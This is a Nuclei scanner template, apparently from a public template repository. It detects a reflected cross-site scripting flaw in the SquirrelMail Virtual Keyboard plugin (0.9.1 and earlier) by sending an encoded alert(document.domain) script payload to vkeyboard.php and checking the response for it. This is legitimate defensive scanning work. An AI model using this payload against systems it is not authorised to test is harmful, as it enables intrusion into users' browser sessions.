nuclei-templates/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss....

38 lines
1.3 KiB
YAML

id: squirrelmail-vkeyboard-xss
info:
name: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting
author: dhiyaneshDk
severity: medium
description: SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/34814
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
tags: xss,squirrelmail,plugin,edb
requests:
- method: GET
path:
- '{{BaseURL}}/plugins/vkeyboard/vkeyboard.php?passformname=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
words:
- "text/html"
part: header
# Enhanced by mp on 2022/09/23